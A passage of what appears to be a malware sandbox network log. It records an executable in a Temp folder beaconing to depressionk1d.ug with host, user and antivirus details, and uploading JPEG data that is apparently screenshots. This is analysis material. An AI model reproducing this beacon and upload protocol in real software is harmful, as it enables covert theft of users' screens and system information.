type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:40.848155022 CET	6054	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->
Nov 12, 2021 22:23:40.856478930 CET	6054	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:40.856553078 CET	6055	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:40.856748104 CET	6065	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:40.856894970 CET	6067	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:40.879489899 CET	6069	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:40 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:40.879601002 CET	6071	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:40.879652977 CET	6082	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:40.879671097 CET	6087	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:40.879698038 CET	6093	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:40.902683020 CET	6098	OUT	Data Raw: 97 a3 cb 25 9f 95 a6 eb da 83 6a 2a d3 db 5a d9 48 86 68 ad d5 8a 6f 7c 44 db 98 95 63 b4 05 00 01 96 39 c8 ca d3 7c 49 a8 e9 10 df 18 59 e6 bc bd b9 86 e2 4b 99 9f 7e fd 82 40 ca e0 83 bc 38 90 83 93 d3 3d 73 57 a0 f1 3e 9d 15 f6 9f 70 de 1f 9c Data Ascii: %jZHho\|Dc9\|IYK~@8=sW>p_3OXo<F9b1$<V_#_5vE:59[p-fh8QqtAipD+7LgVQo4ZG*EqG\|&Z3<#+F2]"
Nov 12, 2021 22:23:40.902761936 CET	6119	OUT	Data Raw: db d7 86 46 e4 a9 07 05 4f b8 39 15 c8 f8 f3 c3 1e 1f 9b c2 5a d6 a6 34 9b 2f b6 25 b4 92 ad c2 44 15 f7 80 79 24 75 39 f5 ae ec 2d 6a ca 5f bd 97 32 7e 49 1c b5 e8 41 2b 45 59 a3 e6 3a 28 a5 15 eb 1e 78 94 a0 52 e2 8e d4 c4 15 eb 1f 0a 3c 0b a0 Data Ascii: FO9Z4/%Dy$u9-j_2~IA+EY:(xR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR:jG/zM]/+CdRu$[Y1I!o5v+u=5o+
Nov 12, 2021 22:23:40.902805090 CET	6124	OUT	Data Raw: 85 a7 53 69 d4 c9 14 74 a0 51 40 a0 4c 70 a5 a4 14 b4 f5 24 29 47 5a 29 28 01 f4 e1 4c 14 f1 4c 86 6e 78 74 13 35 c1 f4 8c ff 00 23 59 9f c4 6b 5b c3 43 2d 76 7d 23 fe 86 b2 bf 88 fd 6b 9a 9f f1 65 f2 2e b2 fd dc 45 a4 14 52 d6 e7 28 52 d0 28 a0 Data Ascii: SitQ@Lp$)GZ)(LLnxt5#Yk[C-v}#ke.ER(R(BR1ii(BIKHS)$u)Zu4Rb0q]&YN5MBgUTb}I5Ziv_^)sgKv_Y`Uyc5?)RO`[)+$!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.4	49888	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:40.994213104 CET	6143	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:41.020926952 CET	6143	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.4	49889	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:41.150444984 CET	6144	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:41.175699949 CET	6144	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.4	49890	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:41.321176052 CET	6145	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:41.346884012 CET	6145	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.4	49891	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:41.408776045 CET	6146	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:41.408941031 CET	6146	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:41.409163952 CET	6156	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:41.409296036 CET	6159	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:41.431612015 CET	6165	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:41.431667089 CET	6170	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:41.431687117 CET	6178	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:41.431709051 CET	6184	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:41.454235077 CET	6196	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:41.454320908 CET	6220	OUT	Data Raw: 24 f0 cc b2 e9 b1 5d c5 a9 69 f2 49 34 13 5c c1 6a 0c a2 59 a3 89 98 3b 2e 50 2f f0 31 c1 60 70 3a 76 aa e9 a1 dd 3e a7 05 80 96 df cd 9a c8 5f 29 dc 76 88 fc 93 36 0f 1d 76 8f a6 7b f7 ab 17 1e 23 58 b4 0d 2a d2 c2 da cc ea 31 d9 5c 41 35 d9 8e Data Ascii: $]iI4\jY;.P/1`p:v>_)v6v{#X1\A5A%iTuH@#4?AiDi@`v0wv{c5VIw4[?wWu<j)d2xpH#SxjKIYuO,Bw@dHjC}&_-r[+YE+9
Nov 12, 2021 22:23:41.454423904 CET	6233	OUT	Data Raw: d4 a1 a8 e6 1f 21 29 6a 4d d5 16 ea 03 52 e6 1f 29 30 6a 5c d4 21 a9 db a9 dc 5c a4 a0 d3 b3 50 86 a5 0d 4e e4 f2 92 83 4b 9a 8c 1a 5c d3 15 87 e6 8c d3 01 a5 cd 02 b0 ea 50 69 99 cd 00 d0 16 24 a3 34 cc d1 9c 77 a7 71 58 92 97 35 16 f1 47 99 e9 Data Ascii: !)jMR)0j\!\PNK\Pi$4wqX5G@rf5.R}oM-OQ4fr44nN&`xb>:jwccTFj\bjbyl7sPmc@-T "msx-8Ya>AHMsGNT
Nov 12, 2021 22:23:41.503694057 CET	6256	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:41 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.4	49892	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:41.479825020 CET	6255	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:41.510098934 CET	6256	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.4	49893	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:41.654845953 CET	6257	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:41.679896116 CET	6258	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.4	49894	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:41.825675011 CET	6258	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:41.851300001 CET	6259	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:41.907788992 CET	6259	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
